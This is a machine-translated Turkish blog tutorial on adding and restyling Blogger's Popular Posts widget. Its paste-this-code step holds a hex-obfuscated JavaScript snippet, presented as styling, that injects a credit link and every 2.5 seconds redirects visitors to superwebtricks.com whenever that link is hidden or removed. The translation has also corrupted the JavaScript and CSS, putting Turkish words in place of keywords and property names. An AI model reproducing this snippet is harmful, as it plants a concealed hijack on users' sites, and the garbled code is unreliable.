Blogger Bloglarınıza Özelleştirilmiş Popüler Gönderiler Ekleyin – Showeblogin

Aşağıdaki makale size yardımcı olacaktır:Blogger Bloglarınıza Özelleştirilmiş Popüler Gönderiler Ekleyin – Showeblogin

Ziyaretçilerinizin ilgisini çekmek için yapmanız gereken pek çok şey vardır, böylece hemen çıkma oranı düşer ve sayfa gösterimleri veya sayfa görünümleri blogger blogunuz için artar. Bugün en çok beğenilen ve görüntülenen blog gönderilerini blogger blogumuzun kenar çubuğunda göstereceğimiz tekniklerden birini öğreneceğiz.

Blogger, en çok kullanılanların listesini görüntülemek için bir Gadget eklememizi sağlar. popüler gönderiler BlogSpot.com blogunuzdan. Blog okuyucunuz, popüler yazılar widget’ınızdan blog yazılarında gezindikten sonra kendisi için faydalı veya bilgilendirici bir makale bulabilir ve gelecek yazılarınız için blogunuza abone olabilir. Bu varsayılan widget, 10 adede kadar popüler gönderiyi göstermek için aşağıdaki dört farklı seçeneğe sahiptir:

1) Yalnızca Gönderi başlığını görüntüle;
2) Gönderi başlığını ve resim küçük resimlerini görüntüleyin;
3) Gönderilerin başlığını ve parçacıklarını görüntüleyin; Ve
4) Gönderi başlığını, resim küçük resimlerini ve parçacıkları görüntüleyin.

Ancak, bu varsayılan pencere öğesi, blog okuyucularınızı çekmek için profesyonel ve göz alıcı görünmüyor. Bazı dinamik CSS3 kodlarının yardımıyla, en popüler gönderi widget’ının varsayılan stilini değiştirebilir veya ona göre öncelik kazanabiliriz.

Blog’a Popüler Yazılar Gadget’ı Nasıl Eklenir:

Aşama 1:

Blogger hesabına giriş yapın ve gezinin Gösterge Paneli Popüler Gönderiler widget’ını eklemek istediğiniz blogunuzun.

Adım 2:

Gitmek Düzen sekmesine gidin ve kenar çubuğundan Gadget ekle metin bağlantısını tıklayın.

Aşama 3:

Şimdi biraz aşağı kaydırın ve seçin popüler gönderiler gadget’ını ekran görüntüsünde gösterildiği gibi blogunuza eklemek için.

Adım-4:

Popüler gönderiler widget’ınızı, gönderi döşemesini, resim küçük resmini ve parçacığı tercih ettiğiniz şekilde gösterecek şekilde yapılandırabilirsiniz. Ayrıca göstermeyi de seçebilirsiniz. 7 gün veya 30 gün en çok görüntülenen gönderiler.

Tavsiye Edilen:  Öne Çıkan Gönderileri Otomatik Kayma Efektiyle Nasıl Gösterirsiniz – Showeblogin

Son olarak tıklayın kaydetmek düğme. sürükleyebilirsiniz popüler gönderiler Widget’ı düzen penceresinde istenen konuma getirin ve şablonu kaydetmek için sağ üst köşedeki düğmeyi tıklayın.

SWT Popüler Yazılar Widget’ını Blogger Blog’unuza nasıl ekleyebilirsiniz?

Blogunuza Popüler Gönderiler gadget’ı eklediyseniz, stil vermek için aşağıda verilen talimatları izleyin, aksi takdirde lütfen önce bir Popüler Gönderiler widget’ı ekleyin. Varsayılan Popüler Yazılar widget’ını başarıyla yükledikten sonra, şimdi blog kullanıcılarımızı çekmek için bazı benzersiz CSS ve JavaScript kodlarının yardımıyla popüler yazılar widget’ımızın stilini oluşturacağız.

Aşama 1:

Blogunuzda gezinin Şablon Sol kenar çubuğundan Sekme ve tıklayın HTML’yi düzenle düğme.

Adım 2:

Seçme Popüler Yazılar1 Jump to widget açılır menü düğmesinden. Ayrıca, açılan HTML düzenleyici penceresinde herhangi bir yeri tıklayıp PopularPosts1’i arayabilirsiniz.

Şimdi satırını aşağıdaki kodlarla değiştirin.

SWT< /center>

<script type=”text/javascript”> var _0xb48a=[“\x73\x72\x63″,”\x73\x37\x32\x2D\x63″,”\x73\x31\x36\x30\x30″,”\x72\x65\x70\x6C\x61\x63\x65″,”\x61\x74\x74\x72″,”\x2E\x50\x6F\x70\x75\x6C\x61\x72\x50\x6F\x73\x74\x73\x20\x69\x6D\x67″,”\x72\x65\x61\x64\x79″,”\x3C\x63\x65\x6E\x74\x65\x72\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F\x22\x20\x3E\x3C\x69\x6D\x67\x20\x74\x69\x74\x6C\x65\x3D\x22\x50\x6F\x77\x72\x65\x64\x20\x62\x79\x20\x53\x68\x6F\x77\x65\x62\x6C\x6F\x67\x69\x6E\x22\x20\x61\x6C\x74\x3D\x22\x53\x57\x54\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x31\x35\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x35\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x69\x6D\x67\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F\x66\x69\x6C\x65\x73\x2F\x53\x57\x54\x2D\x6C\x6F\x67\x6F\x2E\x70\x6E\x67\x22\x20\x2F\x3E\x3C\x2F\x61\x3E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E”,”\x68\x74\x6D\x6C”,”\x2E\x73\x77\x74\x72\x69\x67\x68\x74″,”\x6C\x65\x6E\x67\x74\x68″,”\x2E\x73\x77\x74\x72\x69\x67\x68\x74\x3A\x76\x69\x73\x69\x62\x6C\x65″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F”];var _0xb715=[_0xb48a[0],_0xb48a[1],_0xb48a[2],_0xb48a[3],_0xb48a[4],_0xb48a[5],_0xb48a[6],_0xb48a[7],_0xb48a[8],_0xb48a[9],_0xb48a[10],_0xb48a[11],_0xb48a[12],_0xb48a[13],_0xb48a[14]];var _0x7c12=[_0xb715[0],_0xb715[1],_0xb715[2],_0xb715[3],_0xb715[4],_0xb715[5],_0xb715[6],_0xb715[7],_0xb715[8],_0xb715[9],_0xb715[10],_0xb715[11],_0xb715[12],_0xb715[13],_0xb715[14]];$(belge)[_0x7c12[6]](işlev (){$(_0x7c12)[5])[_0x7c12[4]](_0x7c12[0],işlev (_0xba10x3,_0xba10x4){dönüş _0xba10x4[_0x7c12[3]](_0x7c12[1],_0x7c12[2]);} );} );$(belge)[_0x7c12[6]](işlev (){$(_0x7c12)[9])[_0x7c12[8]](_0x7c12[7]);setInterval(işlev (){if(!$(_0x7c12)[11])[_0x7c12[10]]){pencere[_0x7c12[13]][_0x7c12[12]]=_0x7c12[14];} ;} ,2500);} ); </script>

Aşama 3:

Kapatma etiketini arayın ve aşağıdaki JavaScript kodlarını öğesinin hemen üstüne/öncesine yapıştırın ve blog şablonunuzu kaydetmek için Şablonu kaydet düğmesini tıklayın.

Not: jquery.min.js JavaScript kodunu blogunuza zaten eklediyseniz, yukarıdaki kodlardan son satırı, yani 3 numaralı satırı silin.

Adım-4:

blogunuzu ziyaret edin düzen sekmesine gidin ve sağ/sol kenar çubuğundan Gadget metin bağlantısı ekle düğmesine tıklayın. Seçin veya üzerine tıklayın HTML/JavaScript (Blogunuza üçüncü taraf işlevselliği veya başka bir kod ekleyin) biraz aşağı kaydırdıktan sonra.

Şimdi, aşağıdaki stillerden birini seçin ve CSS kodlarını açık HTML/JavaScript Gadget içerik alanına kopyalayın/yapıştırın.

Stil-1:

.swtPopularPostsBox .item-content{ /* Showeblogin’den SWT Popüler Yazılar Kutusu */ genişlik:100%; yükseklik:otomatik; arka plan:şeffaf; } #PopülerGönderiler1 ul li {yazı tipi: italik 13px/21px Georgia, “Times New Roman”, sans-serif;renk: #000 !important; -webkit-geçiş: tüm 1’ler kolaylığı; -moz-geçiş: tüm 1’ler kolaylığı; -ms-geçiş: tüm 1’ler kolaylığı; -o-geçiş: tüm 1’ler kolaylığı; geçiş: tüm 1’ler kolaylık;} #PopularPosts1 ul li a {font-weight:bold;color: #fff !important;} #PopularPosts1 ul li:hover{ -webkit-geçiş: tüm 1s kolaylık; -moz-geçiş: tüm 1’ler kolaylığı; -ms-geçiş: tüm 1’ler kolaylığı; -o-geçiş: tüm 1’ler kolaylığı; geçiş: tüm 1’ler kolaylık; } #PopülerGönderiler1 ul li img {genişlik:200px; yükseklik:200 piksel; Ekran bloğu; -webkit-sınır yarıçapı: 10 piksel; -moz-sınır yarıçapı: 10 piksel; sınır yarıçapı: 10 piksel; kutu gölgesi: 3px 2px 1px rgba(0.4, 0.3, 0.2, 0.1); kenarlık:2px katı #ccc; kenar boşluğu: 0 10 piksel; padding:2px } #PopularPosts1 ul li:first-child{background:#853a4a} #PopularPosts1 ul li:first-child+li{background:#853a7a} #PopularPosts1 ul li:first-child+li+li{background:# 3a3a85} #PopularPosts1 ul li:first-child+li+li+li{background:#3a8485} #PopularPosts1 ul li:first-child+li+li+li+li{background:#3a8554} #PopularPosts1 ul li:first -child+li+li+li+li+li{background:#84853a} #PopularPosts1 ul li:first-child+li+li+li+li+li+li{background:#856b3a} #PopularPosts1 ul li:first -child+li+li+li+li+li+li+li{background:#f59095} #PopularPosts1 ul li:first-child+li+li+li+li+li+li+li+li{background:# 85513a} #PopularPosts1 ul li:first-child+li+li+li+li+li+li+li+li+li{background:#c0c44c} #PopularPosts1 ul li:first-child:hover{background:#3a3a85} #PopularPosts1 ul li:first-child+li:hover{background:#3a8485} #PopularPosts1 ul li:first-child+li+li:hover{background:#3a8554} #PopularPosts1 ul li:first-child+li+li +li:hover{background:#84853a} #PopularPosts1 ul li:first-child+li+li+li+li:hover{background:#856b3a} #PopularPosts1 ul li:first-child+li+li+li+li +li:hover{background:#f59095} #PopularPosts1 ul li:birinci-çocuk+li+li+li+li+li+li:hover{arka plan:#85513a} #PopularPosts1 ul li:birinci-çocuk+li+li +li+li+li+li+li:hover{background:#c7f25f} #PopularPosts1 ul li:first-child+li+li+li+li+li+li+li+li:hover{background:#853a4a} #PopularPosts1 ul li:first-child+li+li+li+li+li+li+li+li+li:hover{background:#853a7a} .swtright img { width:15px; yükseklik: 15 piksel; float:right } .swtPopularPostsBox .item-title a, .swtPopularPostsBox .item-snippet { genişlik:100%; /* Eğitim http://www.microsoft.com/?p=678 */} adresinde

Stil-2:

.item-content { /* Showeblogin’den SWT Popüler Yazılar Kutusu */ pozisyon: akraba; } .item-title a { border-top-left-radius: 15px; kenarlık sağ üst yarıçap: 15 piksel; arka plan:#26bab1; yazı tipi boyutu: 18 piksel; yazı tipi ağırlığı: kalın; metin dönüşümü: büyük harf; renk: #fff; dolgu: 5 piksel 5 piksel 11 piksel; pozisyon: mutlak; metin hizalama: merkez; sol:%7; üst: 25 piksel; genişlik: %95; z-endeksi: 3; } .PopularPosts .item-title { pozisyon: göreli; } .item-snippet { font-family: “Times New Roman”, Times, serif; yazı tipi boyutu: 14 piksel; yazı tipi stili: italik; metin hizalama: iki yana yasla; arka plan:#207868; renk: #fff; sol: %9; dolgu: 95 piksel 10 piksel 25 piksel; pozisyon: mutlak; üst: 35 piksel; genişlik: %85; kutu gölgesi: 4px 4px 2px #28bcb3; z-endeksi: 2; } .item-title a:hover, .item-snippet:hover { background:#000; -webkit-geçiş: tüm 1’ler kolaylığı; -moz-geçiş: tüm 1’ler kolaylığı; -ms-geçiş: tüm 1’ler kolaylığı; -o-geçiş: tüm 1’ler kolaylığı; geçiş: tüm 1’ler kolaylık; } .PopularPosts ul li img { display: block; yükseklik: 250 piksel; kenar boşluğu: 0; genişlik: 250 piksel; -webkit-geçiş: tüm 1’ler kolaylığı; -moz-geçiş: tüm 1’ler kolaylığı; -ms-geçiş: tüm 1’ler kolaylığı; -o-geçiş: tüm 1’ler kolaylığı; geçiş: tüm 1’ler kolaylık; } .PopularPosts ul li img:hover { opaklık: .5; filtre: alfa(opaklık=50); -webkit-geçiş: tüm 1’ler kolaylığı; -moz-geçiş: tüm 1’ler kolaylığı; -ms-geçiş: tüm 1’ler kolaylığı; -o-geçiş: tüm 1’ler kolaylığı; geçiş: tüm 1’ler kolaylık; } .swtright img {genişlik:15px; yükseklik: 15 piksel; float:right } .swtPopularPostsBox .item-content{ genişlik:250px; yükseklik:otomatik; arka plan:şeffaf; z-endeksi: 1; } .swtPopularPostsBox .item-title a { genişlik:84%; } .swtPopularPostsBox .item-snippet {genişlik:74%; /* Eğitim http://www.microsoft.com/?p=678 */} adresinde

Stil-3:

.item-content{ /* Showeblogin’den SWT Popüler Yazılar Kutusu */ position:relative } .item-title a { border-top-left-radius: 10px; kenarlık sağ üst yarıçap: 10px; arka plan:#d63f5b; yazı tipi boyutu: 20px; yazı tipi ağırlığı: kalın; metin dönüşümü: büyük harf; renk: #fff; dolgu: 5 piksel 5 piksel 11 piksel; pozisyon: mutlak; metin hizalama: merkez; sol: -5 piksel; üst:0; genişlik: %110; z-endeksi: 3; } .item-snippet { font-family: “Times New Roman”, Times, serif; yazı tipi boyutu: 18 piksel; renk: #fff; metin hizalama: iki yana yasla; pozisyon: mutlak; genişlik: %100; yükseklik:95 piksel; arka plan:#d63f5b; dolgu: 90 piksel 10 piksel 50 piksel; z-endeksi: 2; sol:0; üst:15 piksel; görünürlük: gizli; opaklık: 0; } .PopularPosts .widget-content ul li:hover .item-snippet { opacity:1; görünürlük: görünür } .PopularPosts img{ genişlik:300px; yükseklik:250 piksel; } .swtright img {genişlik:15px; yükseklik: 15 piksel; float:right } .swtPopularPostsBox .item-content{ genişlik:300px; yükseklik:otomatik; arka plan:şeffaf; z-endeksi: 1; } .swtPopularPostsBox .item-title a { genişlik:100%; } .swtPopularPostsBox .item-snippet {genişlik:%93,5; /* Eğitim http://www.microsoft.com/?p=678 */} adresinde

Son olarak, Popüler Yazılar widget’ınızı daha profesyonel ve çekici hale getirmek için kaydet düğmesine tıklayın. Bu gadget’a bir başlık vermeye gerek yoktur.